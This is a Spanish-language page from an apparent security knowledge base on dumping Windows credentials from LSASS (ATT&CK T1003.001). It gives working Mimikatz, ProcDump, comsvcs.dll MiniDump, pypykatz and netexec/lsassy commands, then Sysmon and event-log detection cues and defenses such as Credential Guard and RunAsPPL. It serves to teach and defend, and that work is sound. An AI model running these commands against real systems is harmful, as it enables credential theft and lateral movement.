the_open_door
café
ESEN
← Volver al índice

Dumping credentials from LSASS (Mimikatz)

ATT&CKT1003.001
Arsenal completo de comandos en la cheatsheet

lsass.exe (Local Security Authority Subsystem Service) es el proceso de Windows responsable de la autenticación: valida logins, gestiona tokens y, para dar Single Sign-On, mantiene en memoria material de autenticación de las sesiones activas: hashes NTLM, tickets de Kerberos y, según la configuración, incluso contraseñas en texto claro (vía el proveedor WDigest en sistemas antiguos o mal configurados).

Mimikatz es la herramienta de referencia para leer esa memoria. Con privilegios suficientes (SeDebugPrivilege, que un proceso SYSTEM o un administrador tiene), abre el proceso lsass y extrae las credenciales:

privilege::debug              :: habilitar SeDebugPrivilege
sekurlsa::logonPasswords      :: volcar credenciales de las sesiones activas

Qué se obtiene.

Por qué importa. Convierte un acceso administrativo local en botín de credenciales que habilita el movimiento lateral: con el hash o el ticket de un usuario que tenga sesión en esa máquina, el atacante salta a otros sistemas donde ese usuario tenga acceso, sin tocar su contraseña.

Alternativas al binario. No siempre se sube mimikatz.exe (lo detecta el AV). Es común volcar la memoria de lsass y procesarla en frío en el atacante con mimikatz o pypykatz.

# volcar lsass a disco (elegir una via)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
tasklist /fi "imagename eq lsass.exe"                       # obtener el PID
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <pid> C:\lsass.dmp full
# procesar el volcado en frio, en el atacante
pypykatz lsa minidump lsass.dmp
# o en mimikatz: sekurlsa::minidump lsass.dmp  ->  sekurlsa::logonPasswords
# por red, con credenciales de admin
netexec smb <ip> -u <user> -p <pass> -M lsassy

Cómo detectarlo. La huella más fiable es un proceso abriendo lsass.exe: con Sysmon, el Event ID 10 (ProcessAccess) contra lsass.exe con máscaras de GrantedAccess típicas de volcado (0x1010, 0x1410, 0x143a) desde un proceso que no sea un producto de seguridad. Sin Sysmon, activando Audit Handle Manipulation aparecen 4656/4663 (acceso a un objeto) sobre lsass. El volcado a disco deja además un Sysmon 11 (FileCreate) de un .dmp, y la vía comsvcs.dll MiniDump un 4688 con línea de comando rundll32 comsvcs.dll, MiniDump. pypykatz/scripts en el host se ven por 4104 (bloque de script de PowerShell). La clave es que casi nada legítimo abre lsass con permisos de lectura de memoria.

Defensa. Credential Guard (aísla los secretos de LSA en un entorno virtualizado), RunAsPPL (protege lsass como Protected Process Light), desactivar WDigest, y reducir el número de sesiones interactivas privilegiadas: cuantas menos credenciales potentes haya en memoria, menor el botín. Relacionado con Pass-the-Hash y reutilización de credenciales.

HerramientasmimikatzProcDumppypykatz

Máquinas donde se aplica